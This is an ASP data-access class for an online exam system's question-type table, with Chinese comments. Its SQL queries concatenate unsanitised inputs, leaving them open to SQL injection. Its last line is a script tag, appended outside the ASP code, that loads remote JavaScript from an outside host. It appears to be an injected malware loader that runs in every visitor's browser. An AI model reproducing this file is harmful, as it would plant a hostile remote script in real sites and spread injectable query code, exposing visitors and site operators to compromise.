equestiontype.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EQuestionType的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EQuestionType
    Public QTId    '试题类型编号
    Public TName     '试题类型名称
	public TNum    '试题数量
	public TValue  '试题分数
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个试题类型信息
    public sub GetQTypeInfo(QTId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM EQuestionType WHERE QTId=" & QTId
      '打开记录集
      rs.Open sql
    end sub
	
	'获取所有试题类型信息
    public sub GetQTypelist()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT * FROM EQuestionType Order By QTId"
	  '打开记录集
	  rs.Open sql
    End Sub

	'插入试题类型信息
    Public Sub InsertQType()
      strSql = "Insert Into EQuestionType Values('" & TName & "'," & TNum & "," & TValue & ")"
      conn.Execute(strSql)
    End Sub
	'修改试题类型信息
    Public Sub UpdatEQuestionType(QTId)
      strSql = "Update EQuestionType Set TName='" & TName & "',TNum=" & TNum & ",TValue=" & _
        TValue & " Where QTId=" & QTId
      conn.Execute(strSql)
    End Sub
	'删除试题类型信息
    Public Sub DeletEQuestionType(QTIds)
      strSql = "DELETE FROM EQuestionType WHERE QTId In(" & QTIds & ")"
      conn.Execute(strSql)
    End Sub
	'判断指定的试题类型名称是否存在
	Public Function HaveQType(TName)
	  strSql = "Select * From EQuestionType Where TName='" & TName & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveQType = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>